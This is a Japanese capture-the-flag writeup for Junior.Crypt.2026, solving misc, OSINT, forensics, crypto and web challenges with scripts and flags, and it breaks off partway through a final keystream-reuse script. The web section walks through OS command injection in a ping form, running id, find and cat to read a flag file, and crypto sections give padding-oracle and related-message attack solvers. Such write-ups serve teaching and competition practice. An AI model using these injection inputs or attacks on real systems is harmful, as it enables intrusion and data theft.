Junior.Crypt.2026 CTF Writeup

この大会は2026/7/11 17:00(JST)~2026/7/12 18:00(JST)に開催されました。
今回は個人で参戦。結果は1209点で557チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。

1000-7 (Misc)

midファイルが添付されている。Music Studio Producerで開き、いろいろ見てみたがわからない。
仕方がないので、ChatGPTに解いてもらった。

  1. 2304 と -2304 の2種類のピッチベンド値が752個記録されているようだ。これを0/1として見ると、必ず 10 または 01 のペアになるため、以下のようにしてマンチェスター符号として復号できる。
10 → 1
01 → 0

復号結果には前後にバイナリデータがあるが、その中央からフラグが得られる。

grodno{U1tr@_m3g@_5up3r_Gul_M1d_SF_1000-7}

Ghost Layers (Misc)

svgファイルが添付されている。
定義済みレイヤーs17だけを表示させる。ChatGPTでこの変換をするためのコードを作成してもらい、実行する。

#!/usr/bin/env python3
import re

src = open("beaver.svg", "r", encoding="utf-8").read()

defs = re.search(r"<defs>.*?</defs>", src, re.DOTALL).group(0)

output = f"""\
<svg xmlns="http://www.w3.org/2000/svg"
     viewBox="0 0 577 635"
     width="577"
     height="635">
{defs}
<rect width="577" height="635" fill="#112431"/>
<use href="#s17"/>
</svg>
"""

open("flag.svg", "w", encoding="utf-8").write(output)

この結果生成されたflag.svgにフラグが書いてあった。

grodno{9l0ry_t0_Al1v@r1@_9l0ry_t0_b33r}

Invisible Editor (Misc)

zip解凍すると、customXml/item1.xmlにフラグを含む文字列の履歴が書いてあるように見える。deletedタグに変更前の文字列、insertedタグで変更後の文字列が書いてある。
途中見ていると、このときにフラグに書き換わっていると思われる。

<revision step="20" author="Invisible Editor" at="2026-02-19T10:20:00Z">
<deleted>
<chunk>g</chunk>
<chunk>r</chunk>
<chunk>o</chunk>
<chunk>dno{</chunk>
<chunk>F1@g</chunk>
<chunk>_</chunk>
<chunk>W@5_</chunk>
<chunk>H</chunk>
<chunk>3</chunk>
<chunk>r3_0</chunk>
<chunk>nc3</chunk>
</deleted>
<inserted>
<chunk>g</chunk>
<chunk>rod</chunk>
<chunk>no{F</chunk>
<chunk>1@</chunk>
<chunk>g</chunk>
<chunk>_W@5</chunk>
<chunk>_H3</chunk>
<chunk>r3_</chunk>
<chunk>0</chunk>
<chunk>nc</chunk>
<chunk>3}</chunk>
</inserted>
</revision>
grodno{F1@g_W@5_H3r3_0nc3}

Fire Mural (OSINT)


問題文はこうなっている。

The image shows an actual site in Grodno.
Identify the first and last name of the artist who created the monumental mural on the facade of this building.

Flag format: grodno{FirstName_LastName}

画像検索すると、AI による概要に以下のように表示される。

  • この壁画は、ベラルーシのグロドノにある「ウラジミール・カチャン消防歴史博物館」のファサードに描かれています。
  • アーティストのウラジミール・カチャンによって制作された作品です。
  • 「勇気の歴史と伝統」をテーマにしたこの消防士たちの記念壁画には、右側に「グロドノのモナ・リザ」と呼ばれる女性が含まれています。
grodno{Vladimir_Kachan}

Pulse (Web)

127.0.0.1と入力し、Run checkを押すと、以下のように表示された。

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.070 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.070/0.070/0.070/0.000 ms

おそらくOSコマンドインジェクションができる。

以下のように入力し、Run checkを押す。

127.0.0.1
id

この結果以下のように表示された。

uid=33(www-data) gid=33(www-data) groups=33(www-data)

最後のコマンドが実行されることがわかる。

以下の通り入力し、Run checkを押す。

127.0.0.1
ls -l

この結果以下のように表示された。

total 12
-rw-r--r-- 1 root root 3561 Jul 11 08:14 index.php
-rw-r--r-- 1 root root 4790 Jul 11 08:05 style.css

以下の通り入力し、Run checkを押す。

127.0.0.1
find / -name flag.txt 2>/dev/null

この結果以下のように表示された。

find: '/proc/tty/driver': Permission denied
find: '/proc/1/task/1/fd': Permission denied
find: '/proc/1/task/1/fdinfo': Permission denied
find: '/proc/1/task/1/ns': Permission denied
find: '/proc/1/fd': Permission denied
find: '/proc/1/map_files': Permission denied
find: '/proc/1/fdinfo': Permission denied
find: '/proc/1/ns': Permission denied
find: '/proc/25/task/25/fd': Permission denied
find: '/proc/25/task/25/fdinfo': Permission denied
find: '/proc/25/task/25/ns': Permission denied
find: '/proc/25/fd': Permission denied
find: '/proc/25/map_files': Permission denied
find: '/proc/25/fdinfo': Permission denied
find: '/proc/25/ns': Permission denied
find: '/proc/26/task/26/fd': Permission denied
find: '/proc/26/task/26/fdinfo': Permission denied
find: '/proc/26/task/26/ns': Permission denied
find: '/proc/26/fd': Permission denied
find: '/proc/26/map_files': Permission denied
find: '/proc/26/fdinfo': Permission denied
find: '/proc/26/ns': Permission denied
find: '/proc/27/task/27/fd': Permission denied
find: '/proc/27/task/27/fdinfo': Permission denied
find: '/proc/27/task/27/ns': Permission denied
find: '/proc/27/fd': Permission denied
find: '/proc/27/map_files': Permission denied
find: '/proc/27/fdinfo': Permission denied
find: '/proc/27/ns': Permission denied
find: '/proc/28/task/28/fd': Permission denied
find: '/proc/28/task/28/fdinfo': Permission denied
find: '/proc/28/task/28/ns': Permission denied
find: '/proc/28/fd': Permission denied
find: '/proc/28/map_files': Permission denied
find: '/proc/28/fdinfo': Permission denied
find: '/proc/28/ns': Permission denied
find: '/proc/29/task/29/fd': Permission denied
find: '/proc/29/task/29/fdinfo': Permission denied
find: '/proc/29/task/29/ns': Permission denied
find: '/proc/29/fd': Permission denied
find: '/proc/29/map_files': Permission denied
find: '/proc/29/fdinfo': Permission denied
find: '/proc/29/ns': Permission denied
find: '/proc/30/task/30/fd': Permission denied
find: '/proc/30/task/30/fdinfo': Permission denied
find: '/proc/30/task/30/ns': Permission denied
find: '/proc/30/fd': Permission denied
find: '/proc/30/map_files': Permission denied
find: '/proc/30/fdinfo': Permission denied
find: '/proc/30/ns': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
/opt/diagnostics/jobs/3c4e04b2-f662-4664-af79-0c6e7dbd7887/flag.txt
find: '/etc/ssl/private': Permission denied
find: '/root': Permission denied

以下の通り入力し、Run checkを押す。

127.0.0.1
cat /opt/diagnostics/jobs/3c4e04b2-f662-4664-af79-0c6e7dbd7887/flag.txt

この結果フラグが表示された。

grodno{9567eb1c-516c-44f0-9689-9d325f0adfbd}

Invoice Without A Bank (Forensics)

問題文はこうなっている。

Find the message where a PDF attachment is distributed under the guise of a banking notification. Recover:

・The exact PDF attachment filename
・The identifier from the subject after Fatura Emitida -

Flag:
Format: grodno{filename_subjectid}
Example: grodno{invoice.pdf_abcd1234}

メールを見ていくと、sample-717.emlのタイトルが「Fatura Emitida -」から始まり、条件に合致する。その件名と添付ファイル名は以下のようになっている。

件名:Fatura Emitida - 6ZFYeMmltso
添付ファイル名:Vl6s3kCIKaUvwaUAeY.pdf
grodno{Vl6s3kCIKaUvwaUAeY.pdf_6ZFYeMmltso}

The USB That Wouldn't Repeat (Forensics)

問題文はこうなっている。

We obtained an archive with USB acquisition artifacts and a short description of the experiment.

Recover the MD5 hashes of the two Windows FTK Imager acquisitions:

・Flash-firstrun.001
・Flash-secondrun.001

Flag format: grodno{md5_first_md5_second}

usb-non-deterministic-files.zipを展開し、digitalcorpora/windows7-ftkimager配下のファイルを見てみる。
flash-firstrun.001.txtにはハッシュ情報として以下のように書いてある。

[Computed Hashes]
 MD5 checksum:    09817bced4213360c1cb2749aa375523
 SHA1 checksum:   879b25099a3179f8e9dcdf4a8384a3b5b75c92f7

flash-secondrun.001.txtにはハッシュ情報として以下のように書いてある。

[Computed Hashes]
 MD5 checksum:    2bdab2c08b5b507876bf2f2d7e548cc5
 SHA1 checksum:   9ecf9934d17f1d3953d43d59b0d237a8b560916e
grodno{09817bced4213360c1cb2749aa375523_2bdab2c08b5b507876bf2f2d7e548cc5}

Aperture Science: Neurotoxin Diagnostics (Crypto)

timing_trace.jsonでは各ブロック・各パディング長について256候補を3回ずつ試していて、処理時間が突出して長い候補を正解として抽出する。
各平文バイトは次のようなイメージで復元できる。

plaintext_byte = best_guess XOR pad_value XOR previous_ciphertext_byte

要するにAES CBC Padding Oracle Attackのイメージになっている。そこでtiming_trace.json に記録された処理時間を利用して、AES-CBCの平文を1バイトずつ復元する。各候補は3回計測されているため、外れ値の影響を抑えるために中央値が最大の候補として採用する。

#!/usr/bin/env python3
import json
import statistics
import sys
from collections import defaultdict
from pathlib import Path

BLOCK_SIZE = 16

def load_packet(path: Path) -> bytes:
    hex_text = path.read_text(encoding="utf-8").strip()
    packet = bytes.fromhex(hex_text)
    return packet

def load_trace(path: Path) -> list[dict]:
    data = json.loads(path.read_text(encoding="utf-8"))
    return data

def group_timings(trace: list[dict]) -> dict:
    timings = defaultdict(list)

    for row in trace:
        key = (
            int(row["block"]),
            int(row["pad"]),
            int(row["guess"]),
        )
        timings[key].append(int(row["elapsed_ns"]))

    return timings

def recover_plaintext(packet: bytes, trace: list[dict]) -> bytes:
    blocks = [
        packet[offset : offset + BLOCK_SIZE]
        for offset in range(0, len(packet), BLOCK_SIZE)
    ]

    timings = group_timings(trace)
    plaintext = bytearray()

    for block_number in range(1, len(blocks)):
        previous_block = blocks[block_number - 1]
        plaintext_block = bytearray(BLOCK_SIZE)

        print(f"[*] Recovering plaintext block {block_number}")

        for pad_value in range(1, BLOCK_SIZE + 1):
            byte_position = BLOCK_SIZE - pad_value

            candidates = []

            for guess in range(256):
                values = timings.get(
                    (block_number, pad_value, guess),
                    [],
                )

                if not values:
                    continue

                score = statistics.median(values)
                candidates.append((score, guess, values))

            best_score, best_guess, measurements = max(
                candidates,
                key=lambda item: item[0],
            )

            plaintext_byte = (
                best_guess
                ^ pad_value
                ^ previous_block[byte_position]
            )

            plaintext_block[byte_position] = plaintext_byte

            printable = (
                chr(plaintext_byte)
                if 0x20 <= plaintext_byte <= 0x7E
                else "."
            )

            print(
                f"    pad={pad_value:2d} "
                f"position={byte_position:2d} "
                f"guess=0x{best_guess:02x} "
                f"plain=0x{plaintext_byte:02x} "
                f"'{printable}' "
                f"median={best_score:.0f} "
                f"measurements={measurements}"
            )

        plaintext.extend(plaintext_block)

    return bytes(plaintext)


def remove_pkcs7_padding(data: bytes, block_size: int = 16) -> bytes:
    padding_length = data[-1]
    expected = bytes([padding_length]) * padding_length

    return data[:-padding_length]


def main() -> None:
    base_dir = Path(__file__).resolve().parent

    packet_path = base_dir / "packet.hex"
    trace_path = base_dir / "timing_trace.json"

    packet = load_packet(packet_path)
    trace = load_trace(trace_path)

    print(f"[*] Packet size: {len(packet)} bytes")
    print(f"[*] AES blocks: {len(packet) // BLOCK_SIZE}")
    print(f"[*] Timing records: {len(trace)}")

    padded_plaintext = recover_plaintext(packet, trace)

    print("\n[+] Padded plaintext:")
    print(repr(padded_plaintext))

    plaintext = remove_pkcs7_padding(padded_plaintext)

    print("\n[+] Plaintext:")
    print(plaintext.decode("utf-8"))

if __name__ == "__main__":
    main()

実行結果は以下の通り。

[*] Packet size: 144 bytes
[*] AES blocks: 9
[*] Timing records: 98304
[*] Recovering plaintext block 1
    pad= 1 position=15 guess=0x1b plain=0x3b ';' median=2478934 measurements=[2475980, 2658276, 2478934]
    pad= 2 position=14 guess=0x38 plain=0x6e 'n' median=2612577 measurements=[2626608, 2554208, 2612577]
    pad= 3 position=13 guess=0x39 plain=0x69 'i' median=2588584 measurements=[2618641, 2588584, 2532592]
    pad= 4 position=12 guess=0x39 plain=0x78 'x' median=2593441 measurements=[2541542, 2593441, 2598716]
    pad= 5 position=11 guess=0x3e plain=0x6f 'o' median=2548204 measurements=[2541061, 2644334, 2548204]
    pad= 6 position=10 guess=0x2d plain=0x74 't' median=2610581 measurements=[2616955, 2610581, 2555824]
    pad= 7 position= 9 guess=0x26 plain=0x6f 'o' median=2632676 measurements=[2654352, 2632676, 2627645]
    pad= 8 position= 8 guess=0x33 plain=0x72 'r' median=2628123 measurements=[2634794, 2573596, 2628123]
    pad= 9 position= 7 guess=0x24 plain=0x75 'u' median=2534844 measurements=[2590841, 2534844, 2505414]
    pad=10 position= 6 guess=0x20 plain=0x65 'e' median=2512617 measurements=[2512617, 2541358, 2483196]
    pad=11 position= 5 guess=0x31 plain=0x6e 'n' median=2521292 measurements=[2521292, 2593670, 2508680]
    pad=12 position= 4 guess=0x7e plain=0x3d '=' median=2607390 measurements=[2607390, 2480936, 2617707]
    pad=13 position= 3 guess=0x38 plain=0x67 'g' median=2627240 measurements=[2627240, 2625420, 2688064]
    pad=14 position= 2 guess=0x3a plain=0x61 'a' median=2548397 measurements=[2501201, 2646615, 2548397]
    pad=15 position= 1 guess=0x23 plain=0x69 'i' median=2627963 measurements=[2627963, 2609850, 2648721]
    pad=16 position= 0 guess=0x3a plain=0x64 'd' median=2609958 measurements=[2657495, 2521051, 2609958]
[*] Recovering plaintext block 2
    pad= 1 position=15 guess=0x0b plain=0x75 'u' median=2562605 measurements=[2574836, 2562605, 2548263]
    pad= 2 position=14 guess=0x31 plain=0x73 's' median=2619394 measurements=[2506085, 2619394, 2640094]
    pad= 3 position=13 guess=0xc9 plain=0x3b ';' median=2605828 measurements=[2605828, 2492532, 2697049]
    pad= 4 position=12 guess=0xe5 plain=0x65 'e' median=2654892 measurements=[2501623, 2654892, 2682593]
    pad= 5 position=11 guess=0x21 plain=0x6c 'l' median=2618300 measurements=[2691661, 2600608, 2618300]
    pad= 6 position=10 guess=0x79 plain=0x62 'b' median=2636244 measurements=[2664693, 2519812, 2636244]
    pad= 7 position= 9 guess=0x01 plain=0x61 'a' median=2642289 measurements=[2642289, 2701103, 2610099]
    pad= 8 position= 8 guess=0xd5 plain=0x74 't' median=2626236 measurements=[2626236, 2589828, 2669189]
    pad= 9 position= 7 guess=0x9e plain=0x73 's' median=2701155 measurements=[2701155, 2591931, 2716850]
    pad=10 position= 6 guess=0x8c plain=0x3d '=' median=2679960 measurements=[2624807, 2707013, 2679960]
    pad=11 position= 5 guess=0x30 plain=0x73 's' median=2631528 measurements=[2684450, 2610157, 2631528]
    pad=12 position= 4 guess=0xd2 plain=0x75 'u' median=2569767 measurements=[2569767, 2681020, 2510625]
    pad=13 position= 3 guess=0x68 plain=0x74 't' median=2616769 measurements=[2543650, 2616769, 2622379]
    pad=14 position= 2 guess=0xe6 plain=0x61 'a' median=2595312 measurements=[2669456, 2595312, 2516667]
    pad=15 position= 1 guess=0xf7 plain=0x74 't' median=2618913 measurements=[2527387, 2682574, 2618913]
    pad=16 position= 0 guess=0xb3 plain=0x73 's' median=2659209 measurements=[2605852, 2659209, 2723389]
[*] Recovering plaintext block 3
    pad= 1 position=15 guess=0xa6 plain=0x6f 'o' median=2672912 measurements=[2683524, 2619654, 2672912]
    pad= 2 position=14 guess=0x5e plain=0x6d 'm' median=2704700 measurements=[2746362, 2693837, 2704700]
    pad= 3 position=13 guess=0x91 plain=0x65 'e' median=2664241 measurements=[2664241, 2640450, 2734722]
    pad= 4 position=12 guess=0x58 plain=0x6d 'm' median=2712062 measurements=[2712062, 2686391, 2737930]
    pad= 5 position=11 guess=0x8f plain=0x3b ';' median=2657842 measurements=[2608014, 2660743, 2657842]
    pad= 6 position=10 guess=0x56 plain=0x6c 'l' median=2632886 measurements=[2735400, 2632227, 2632886]
    pad= 7 position= 9 guess=0x74 plain=0x6c 'l' median=2582537 measurements=[2578288, 2582537, 2608529]
    pad= 8 position= 8 guess=0x8c plain=0x65 'e' median=2668899 measurements=[2668899, 2564820, 2717629]
    pad= 9 position= 7 guess=0xa0 plain=0x68 'h' median=2625030 measurements=[2625030, 2662690, 2583122]
    pad=10 position= 6 guess=0x94 plain=0x63 'c' median=2659487 measurements=[2717421, 2592630, 2659487]
    pad=11 position= 5 guess=0xdd plain=0x3d '=' median=2715450 measurements=[2715450, 2663788, 2716398]
    pad=12 position= 4 guess=0xea plain=0x74 't' median=2685893 measurements=[2727645, 2639183, 2685893]
    pad=13 position= 3 guess=0x6a plain=0x63 'c' median=2704987 measurements=[2572043, 2704987, 2707100]
    pad=14 position= 2 guess=0x36 plain=0x65 'e' median=2639025 measurements=[2735796, 2580868, 2639025]
    pad=15 position= 1 guess=0x2e plain=0x6a 'j' median=2702419 measurements=[2641730, 2775693, 2702419]
    pad=16 position= 0 guess=0xa5 plain=0x62 'b' median=2686378 measurements=[2716337, 2574690, 2686378]
[*] Recovering plaintext block 4
    pad= 1 position=15 guess=0x91 plain=0x78 'x' median=2781366 measurements=[2804777, 2750030, 2781366]
    pad= 2 position=14 guess=0x9c plain=0x30 '0' median=2677536 measurements=[2728313, 2589199, 2677536]
    pad= 3 position=13 guess=0xb3 plain=0x37 '7' median=2727754 measurements=[2699583, 2732038, 2727754]
    pad= 4 position=12 guess=0x71 plain=0x30 '0' median=2759158 measurements=[2759158, 2775172, 2698259]
    pad= 5 position=11 guess=0xa1 plain=0x72 'r' median=2641287 measurements=[2639860, 2641287, 2749034]
    pad= 6 position=10 guess=0xf3 plain=0x75 'u' median=2687921 measurements=[2625297, 2721673, 2687921]
    pad= 7 position= 9 guess=0x2b plain=0x33 '3' median=2726905 measurements=[2726905, 2759026, 2707316]
    pad= 8 position= 8 guess=0xed plain=0x6e 'n' median=2621963 measurements=[2773511, 2618775, 2621963]
    pad= 9 position= 7 guess=0x4f plain=0x7b '{' median=2674203 measurements=[2674203, 2634040, 2678329]
    pad=10 position= 6 guess=0xe3 plain=0x6f 'o' median=2757091 measurements=[2728462, 2795824, 2757091]
    pad=11 position= 5 guess=0x74 plain=0x6e 'n' median=2747644 measurements=[2672801, 2773812, 2747644]
    pad=12 position= 4 guess=0x13 plain=0x64 'd' median=2662843 measurements=[2662843, 2644757, 2738746]
    pad=13 position= 3 guess=0x4c plain=0x6f 'o' median=2759919 measurements=[2616953, 2759919, 2764187]
    pad=14 position= 2 guess=0x64 plain=0x72 'r' median=2729613 measurements=[2729613, 2741232, 2648681]
    pad=15 position= 1 guess=0x46 plain=0x67 'g' median=2696496 measurements=[2676562, 2755752, 2696496]
    pad=16 position= 0 guess=0x2a plain=0x3d '=' median=2663986 measurements=[2663986, 2659363, 2722415]
[*] Recovering plaintext block 5
    pad= 1 position=15 guess=0x83 plain=0x6c 'l' median=2710795 measurements=[2791097, 2704473, 2710795]
    pad= 2 position=14 guess=0x06 plain=0x5f '_' median=2782940 measurements=[2782940, 2804356, 2737819]
    pad= 3 position=13 guess=0x64 plain=0x35 '5' median=2688708 measurements=[2734192, 2640697, 2688708]
    pad= 4 position=12 guess=0x9c plain=0x63 'c' median=2753726 measurements=[2806890, 2705467, 2753726]
    pad= 5 position=11 guess=0x08 plain=0x31 '1' median=2762389 measurements=[2712796, 2762389, 2821330]
    pad= 6 position=10 guess=0xad plain=0x37 '7' median=2797897 measurements=[2689870, 2797897, 2842759]
    pad= 7 position= 9 guess=0xa7 plain=0x35 '5' median=2698383 measurements=[2709219, 2647929, 2698383]
    pad= 8 position= 8 guess=0x8b plain=0x30 '0' median=2802750 measurements=[2713926, 2843265, 2802750]
    pad= 9 position= 7 guess=0x19 plain=0x6e 'n' median=2699523 measurements=[2694953, 2699523, 2783683]
    pad=10 position= 6 guess=0x65 plain=0x67 'g' median=2780888 measurements=[2780888, 2720678, 2786764]
    pad=11 position= 5 guess=0x00 plain=0x34 '4' median=2798854 measurements=[2824130, 2798854, 2736636]
    pad=12 position= 4 guess=0xa3 plain=0x31 '1' median=2654165 measurements=[2650979, 2776663, 2654165]
    pad=13 position= 3 guess=0x00 plain=0x64 'd' median=2805797 measurements=[2805797, 2815142, 2741983]
    pad=14 position= 2 guess=0x8b plain=0x5f '_' median=2747503 measurements=[2747503, 2706538, 2811036]
    pad=15 position= 1 guess=0x65 plain=0x6e 'n' median=2744432 measurements=[2744432, 2610904, 2798235]
    pad=16 position= 0 guess=0x29 plain=0x31 '1' median=2678869 measurements=[2750421, 2678869, 2647540]
[*] Recovering plaintext block 6
    pad= 1 position=15 guess=0x1c plain=0x31 '1' median=2706170 measurements=[2752412, 2706170, 2701893]
    pad= 2 position=14 guess=0x5c plain=0x6d 'm' median=2774445 measurements=[2681968, 2774445, 2858286]
    pad= 3 position=13 guess=0x2e plain=0x31 '1' median=2816082 measurements=[2868983, 2740211, 2816082]
    pad= 4 position=12 guess=0xec plain=0x37 '7' median=2818878 measurements=[2859799, 2718721, 2818878]
    pad= 5 position=11 guess=0x5e plain=0x5f '_' median=2799410 measurements=[2799410, 2807696, 2728519]
    pad= 6 position=10 guess=0x15 plain=0x68 'h' median=2742031 measurements=[2742031, 2750255, 2739491]
    pad= 7 position= 9 guess=0x97 plain=0x67 'g' median=2842672 measurements=[2842672, 2699951, 2909093]
    pad= 8 position= 8 guess=0x97 plain=0x75 'u' median=2795102 measurements=[2775734, 2861036, 2795102]
    pad= 9 position= 7 guess=0x47 plain=0x30 '0' median=2745656 measurements=[2745656, 2867025, 2723097]
    pad=10 position= 6 guess=0x4d plain=0x72 'r' median=2840578 measurements=[2858437, 2772055, 2840578]
    pad=11 position= 5 guess=0x40 plain=0x68 'h' median=2706257 measurements=[2706257, 2671053, 2758925]
    pad=12 position= 4 guess=0x03 plain=0x37 '7' median=2839148 measurements=[2844483, 2839148, 2685194]
    pad=13 position= 3 guess=0x65 plain=0x5f '_' median=2752825 measurements=[2729587, 2752825, 2852464]
    pad=14 position= 2 guess=0x1b plain=0x6b 'k' median=2761667 measurements=[2761667, 2820347, 2756616]
    pad=15 position= 1 guess=0xb9 plain=0x34 '4' median=2749914 measurements=[2801038, 2713810, 2749914]
    pad=16 position= 0 guess=0xa2 plain=0x33 '3' median=2839153 measurements=[2867121, 2839153, 2727608]
[*] Recovering plaintext block 7
    pad= 1 position=15 guess=0x01 plain=0x6e 'n' median=2781716 measurements=[2781716, 2840983, 2776395]
    pad= 2 position=14 guess=0x54 plain=0x69 'i' median=2832126 measurements=[2853569, 2832126, 2811659]
    pad= 3 position=13 guess=0xbb plain=0x73 's' median=2773774 measurements=[2751238, 2853712, 2773774]
    pad= 4 position=12 guess=0x3f plain=0x6f 'o' median=2763573 measurements=[2763573, 2746150, 2793753]
    pad= 5 position=11 guess=0x2e plain=0x6c 'l' median=2749164 measurements=[2809237, 2715503, 2749164]
    pad= 6 position=10 guess=0xe4 plain=0x63 'c' median=2782845 measurements=[2827780, 2782845, 2738836]
    pad= 7 position= 9 guess=0x31 plain=0x3b ';' median=2777719 measurements=[2744530, 2777719, 2850511]
    pad= 8 position= 8 guess=0xf5 plain=0x7d '}' median=2805829 measurements=[2798343, 2837252, 2805829]
    pad= 9 position= 7 guess=0xfe plain=0x33 '3' median=2843661 measurements=[2843661, 2767472, 2864467]
    pad=10 position= 6 guess=0x91 plain=0x6e 'n' median=2895117 measurements=[2893333, 2895117, 2910737]
    pad=11 position= 5 guess=0xf8 plain=0x30 '0' median=2857919 measurements=[2941884, 2857919, 2857028]
    pad=12 position= 4 guess=0x67 plain=0x6c 'l' median=2810379 measurements=[2810379, 2813956, 2747487]
    pad=13 position= 3 guess=0x06 plain=0x34 '4' median=2806641 measurements=[2806641, 2751177, 2896104]
    pad=14 position= 2 guess=0xab plain=0x5f '_' median=2885192 measurements=[2885192, 2927611, 2834735]
    pad=15 position= 1 guess=0x00 plain=0x67 'g' median=2776736 measurements=[2915096, 2776736, 2733938]
    pad=16 position= 0 guess=0xbd plain=0x6e 'n' median=2821207 measurements=[2689162, 2860299, 2821207]
[*] Recovering plaintext block 8
    pad= 1 position=15 guess=0x6d plain=0x03 '.' median=2854935 measurements=[2854935, 2900651, 2822153]
    pad= 2 position=14 guess=0x49 plain=0x03 '.' median=2875970 measurements=[2875970, 2906118, 2763658]
    pad= 3 position=13 guess=0xf2 plain=0x03 '.' median=2778507 measurements=[2778507, 2777359, 2835392]
    pad= 4 position=12 guess=0xdc plain=0x65 'e' median=2873111 measurements=[2980463, 2873111, 2856106]
    pad= 5 position=11 guess=0x4a plain=0x76 'v' median=2854100 measurements=[2890029, 2850683, 2854100]
    pad= 6 position=10 guess=0x50 plain=0x69 'i' median=2894121 measurements=[2927205, 2894121, 2829010]
    pad= 7 position= 9 guess=0xcf plain=0x6c 'l' median=2937588 measurements=[2937588, 2853448, 2943561]
    pad= 8 position= 8 guess=0xa8 plain=0x61 'a' median=2848702 measurements=[2848702, 2820260, 2955520]
    pad= 9 position= 7 guess=0x5b plain=0x5f '_' median=2856144 measurements=[2838047, 2856144, 2929094]
    pad=10 position= 6 guess=0x36 plain=0x6c 'l' median=2856144 measurements=[2869457, 2833531, 2856144]
    pad=11 position= 5 guess=0xe5 plain=0x6c 'l' median=2827574 measurements=[2783904, 2830661, 2827574]
    pad=12 position= 4 guess=0x06 plain=0x69 'i' median=2842990 measurements=[2842990, 2895156, 2780395]
    pad=13 position= 3 guess=0x6a plain=0x74 't' median=2870921 measurements=[2847779, 2870921, 2902186]
    pad=14 position= 2 guess=0xf4 plain=0x73 's' median=2848836 measurements=[2841340, 2848836, 2932054]
    pad=15 position= 1 guess=0x68 plain=0x3d '=' median=2832508 measurements=[2843750, 2832508, 2775693]
    pad=16 position= 0 guess=0x1b plain=0x67 'g' median=2856835 measurements=[2856835, 2758251, 2908426]

[+] Padded plaintext:
b'diag=neurotoxin;status=stable;subject=chell;memo=grodno{n3ur070x1n_d14gn0571c5_l34k_7hr0ugh_71m1ng_4l0n3};closing=still_alive\x03\x03\x03'

[+] Plaintext:
diag=neurotoxin;status=stable;subject=chell;memo=grodno{n3ur070x1n_d14gn0571c5_l34k_7hr0ugh_71m1ng_4l0n3};closing=still_alive
grodno{n3ur070x1n_d14gn0571c5_l34k_7hr0ugh_71m1ng_4l0n3}

Aperture Science: Still Alive (Crypto)

public.pemが添付されており、RSA暗号の公開鍵に見える。またciphertexts.jsonにはc1, c2, a, bの値がある。おそらく平文2つのm1, m2に対して、以下の式が成り立つ。

m2 = m1 * a + b

c1, c2はその暗号化した値になっていると推測できる。この場合以下の式が成り立つ。

pow(m1 * a, e, n) = c1 * pow(a, e, n)
pow(m2, e, n) = c2

m1 * aとm2の平文の差はb。これを元にFranklin-Reiter Related Message Attackでm1 * aを算出することができる。あとはそれからm1を求めることができる。

#!/usr/bin/env sage
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import json

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

with open('public.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

with open('ciphertexts.json', 'r') as f:
    params = json.load(f)

c1 = int(params['c1'])
c2 = int(params['c2'])
a = params['a']
b = int(params['b'])

diff = b
C1 = c1 * pow(a, e, n) % n
C2 = c2

M1 = related_message_attack(C1, C2, diff, e, n)
m1 = M1 * pow(a, -1, n) % n
flag = long_to_bytes(int(m1)).decode()
print(flag)
grodno{571ll_4l1v3_bu7_g14d05_k3375_r3w5171ng_m35s4g35}

Aperture Science: Stream Calibration (Crypto)

seedは0x100000未満の値になるので、ブルートフォースでprintableなメッセージに復号できるものを探す。

#!/usr/bin/env python3
MOD = 1 << 32
A = 1664525
C = 1013904223

def keystream(seed, length):
    state = seed & 0xFFFFF
    out = bytearray()
    for _ in range(length):
        state = (A * state + C) % MOD
        out.append((state >> 24) & 0xFF)
    return bytes(out)

def xor_bytes(left, right):
    return bytes(a ^ b for a, b in zip(left, right))

def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            if c != 10:
                return False
    return True

with open('ciphertext.txt', 'r') as f:
    ct = bytes.fromhex(f.read().rstrip())

for seed in range(0x100000):
    msg = xor_bytes(ct, keystream(seed, len(ct)))
    if is_printable(msg):
        msg = msg.decode()
        print(msg)
        break

復号結果は以下の通り。

[Aperture Science Internal]
classification=stable
speaker=GLaDOS
memo=grodno{7h15_w45_4_7r1umph_bu7_7h3_533d_w45_700_5m4ll}
grodno{7h15_w45_4_7r1umph_bu7_7h3_533d_w45_700_5m4ll}

Aperture Science: Weighted Companion Cube (Crypto)

metadata.jsonには以下のように書いてある。

{
  "title": "Aperture Science AES: Weighted Companion Cube",
  "mode": "aperture-companion-stream-v2",
  "block_size": 16,
  "format": [
    "[Aperture Archive]",
    "item=18",
    "status=12",
    "sector=12",
    "memo=64"
  ],
  "note": "Every archive in this batch was encrypted under the same boot-state."
}

このnoteの内容から同じ鍵ストリームで暗号化されていることが推測できる。またレコードのフォーマットも定義されている。
catalog.jsonには、item, status, sector, memoに6個ずつ文字列が設定されている。
known_archives.jsonには6個の暗号文が含まれている。
正しい組み合わせでXORすれば、その鍵を算出でき、secret_archive.hexのデータとXORすれば、秘密情報を復号できる。

#!/usr/bin/env python3
from pathlib import Path
import itertools
import json

BASE_DIR = Path("WeightedCompanionCube")

catalog = json.loads(
    (BASE_DIR / "catalog.json").read_text(encoding="utf-8")
)

known_archives = json.loads(
    (BASE_DIR / "known_archives.json").read_text(encoding="utf-8")
)

ciphertexts = [
    bytes.fromhex(record["ciphertext_hex"])
    for record in known_archives
]

secret_ciphertext = bytes.fromhex(
    (BASE_DIR / "secret_archive.hex").read_text().strip()
)

def make_field(prefix: str, value: str, width: int) -> bytes:
    text = prefix + value.ljust(width) + "\n"
    return text.encode("utf-8")

header = b"[Aperture Archive]\n"

fields = [
    ("item", "item=", 18),
    ("status", "status=", 12),
    ("sector", "sector=", 12),
    ("memo", "memo=", 64),
]

if len(secret_ciphertext) != 153:
    raise ValueError(
        f"Unexpected ciphertext length: {len(secret_ciphertext)}"
    )

keystream = bytearray(len(secret_ciphertext))

for i, plain_byte in enumerate(header):
    keystream[i] = ciphertexts[0][i] ^ plain_byte

offset = len(header)

